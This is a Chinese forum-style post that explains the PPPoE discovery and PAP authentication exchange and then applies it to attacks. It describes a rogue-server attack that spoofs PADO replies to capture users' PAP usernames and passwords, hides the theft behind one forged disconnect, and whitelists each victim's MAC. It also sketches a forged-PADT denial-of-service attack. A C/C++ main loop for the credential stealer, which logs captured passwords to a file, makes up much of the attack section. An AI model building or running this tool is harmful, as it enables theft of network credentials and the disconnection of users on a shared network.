PPPOE拨号上网流程及密码窃取具体实现
楼主学生党一枚,最近研究netkeeper有些许心得。
关于netkeeper是调用windows的rasdial来进行上网的东西,网上已经有一大堆,我就不赘述了。
本文主要讲解rasdial的部分核心过程,以及我们可以利用它来干些什么。
netkeeper中rasdial是通过PPPOE来进行用户认证并提供上网的。
PPPOE分为两个阶段PPPOED(即发现阶段)和PPPOES(会话阶段)
关于PPPOED部分,维基上有很详细的介绍 。给个链接 https://en.wikipedia.org/wiki/Point-to-point_protocol_over_Ethernet
我只简略的说一下,可以分为以下四个部分:
PPPOED的协议格式:数字代表字节数。
| 6 | 6 | 2 | 链路层
dstmac srcmac proctol 很简单,不多说
| 1 | 1 | 2 | 2 | PPPOED头
ver_type code session id payload len
固定为0x11 行为代码 会话id 后续报文的长度
| payload len | PPPOED tags。 这个不好说,可以去wiki看看。
// proctol 注意字节序的问题
#define PPPOED 0x8863
#define PPPOES 0x8864
//PPPOED code
#define PPPOED_PADI 0x09 #define PPPOED_PADO 0x07 #define PPPOED_PADR 0x19 #define PPPOED_PADS 0x65 #define PPPOED_SESSION 0x00 #define PPPOED_PADT 0xa7
struct PPPOE_hdr
{
char dst[6];
char src[6];
char proctol[2];
char ver_type;
char code;
char sid[2];
char len[2];
};
struct PPPOE_tag
{
char name[2];
char len[2];
char *value;
};
PADI:由client发送。(PPPOED tags 貌似必须要有host-uniq属性),就是广播说我想上网,谁能给我提供这个服务。
PADO:由server发送。(PPPOED tags必须要有AC-name属性,而且要有client发的PADI里的host-uniq属性。)就是服务器说我可以给你下这个服务。
PADR:client发送。(要有host-uniq)client向server请求上网服务,当接收到多个server的PADO时,一般向第一个收到的server请求服务。
PADS:server发送。(要有PADR的host-uniq,且需设置session id)之后开始服务。
PPPOES:我重点要讲的部分,在网上搜了很久的资料也没搜到啥,自己总结一下,方便他人。
PPP LCP协议格式: PPPOES支持的协议太多,而我们需要研究的只有LCP,所以只讲LCP。前面与PPPOED相同.
| 6 | 6 | 2 | 链路层
dstmac srcmac proctol 很简单,不多说
| 1 | 1 | 2 | 2 | PPPOED头
ver_type code session id payload len
固定为0x11 行为代码 会话id 后续报文的长度
| 2 | ppp proctol type
| 1 | 1 | 2 | LCP header
code id len
LCP行为代码 验证id len指LCP header与后续报文的长度,与PPPOED不同 即 len = 4 + 后续报文长度
| len | LCP opts
//PPPOES proctol #define PPP_LCP 0xc021 #define PPP_PAP 0xc023 //LCP code #define LCP_REQUEST 0x01 #define LCP_ACK 0x02 #define LCP_NAK 0x03 #define LCP_REJECT 0x04 #define LCP_TERMINATIN_REQUEST 0x05 #define LCP_TERMINATION_ACK 0x06
#define LCP_IDENTIFICATION 0x0c // PAP code #define PAP_REQUEST 0x01 #define PAP_ACK 0x02
struct LCP_hdr
{
struct PPPOE_hdr pppoe;
char proctol[2];
char code;
char id;
char len[2];
char padding[2];//填充,字节对齐。
};
struct LCP_opt
{
char name;
char len;
char* value;
};
下面给个例子
讲完协议基础,就将PPPOES具体发生了什么。楼主只研究过PAP,所以下面讲PAP
1. client向server发送LCP request,请求配置(例如MTU之类的)
2.server向client发送LCP ack或LCP reject(若发的是reject,client需要根据reject再发一份request直到server ack)。
3.server向client发LCP request,LCP request中包含用户认证的方式CHAP 或 PAP。
4.client发LCP ack
5.client准备开始发送用户名和密码。发送3个LCP identification。
6.client开始发送用户名和密码。发送PAP报文。
7.server对用户名和密码进行认证,若通过则通过IPCP进行ip配置。错误则无法上网。
下面给一个PAP报文的例子,与LCP很相似。
上述总结一个图
ps:楼主字丑勿喷。
应用:
1.根据上面所讲的过程可知,我们可以在别人拨号上网发PADI的时候,发一个PADO伪装成server,一般而言,只要client先接收到的是我们的PADO,我们就可以获取到用户名和密码,窃取到密码以后我们就发送一个LCP termination request和PPPOED PADT,在把用户的MAC加入窃取到的MAC表中,对于窃取到的就不再进行拦截。
这样真正的用户在登录时只会出现一次登录失败,之后正常,用户也不会认为出了什么问题。
2.我们自己发PADI获取当前网段中的PPPOE服务器的mac,再将自己的mac伪装成服务器的,穷举session id 发送PADT给正在正常上网的用户就可以让他断网。
应用1楼主已经实现了,2没做。源码就不发了,防止有人搞破坏。
下面只贴出流程代码
int main() { int sock,recv_bytes,i = 0; struct Mac src; struct Mac self = getLocalMac("eth0"); char buf[2048] = {0}; FILE * fpout; std::vector<struct PPPOE_tag*> tags; std::vector<struct LCP_opt*> opts; std::vector<struct Mac*> macMap; sock = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL)); fpout = fopen("./password.txt","w"); if (sock == -1) { perror("socket"); exit(1); } while(1) { i = 0; recv_bytes = recv(sock,buf,2048,0); src = getSrcMac(buf); if (isMacInMap(&src,macMap)) continue; if( PPPOED == getProctol(buf)) { unsigned code; PPPOE_HeaderReader pppoe(buf,recv_bytes); pppoe.getPPPOED_tags(tags); code = pppoe.getCode(); if (code == PPPOED_PADI) sendPADO(sock,src,tags); else if (code == PPPOED_PADR) sendPADS(sock,src,tags); else if (code == PPPOED_PADT) sendPADT(sock,src,tags,pppoe.getSessionId()); release(tags); } if(PPPOES == getProctol(buf)) { PPPOE_HeaderReader pppoe(buf,recv_bytes); switch (getPPP_type(buf)) { case PPP_LCP: pppoe.getLCP_opts(); if(buf[22] == LCP_REQUEST) { HeaderBuilder builder; memcpy(buf,src.mac,6); memcpy(buf + 6,self.mac,6); buf[22] = LCP_ACK; sendEth(sock,buf,recv_bytes); buf[22] = LCP_REQUEST; buf[25] = 4 + sizeof (lcp_request); builder.addHeader(buf,26); builder.addHeader(lcp_request,sizeof (lcp_request)); sendEth(sock,builder.head(),builder.getsize()); } else if (buf[22] == LCP_TERMINATIN_REQUEST) { HeaderBuilder builder; memcpy(buf,src.mac,6); memcpy(buf + 6,self.mac,6); buf[22] = LCP_ACK; sendEth(sock,buf,recv_bytes); } break; case PPP_PAP: struct Mac * tmpmac = malloc(sizeof (struct Mac)); memcpy(tmpmac,&src,sizeof(struct Mac)); macMap.push_back(tmpmac); recordPassword(fpout,buf); sendPADT(sock,src,tags,pppoe.getSessionId()); break; } release(opts); } } close(sock); release(macMap); fclose(fpout); return 0; }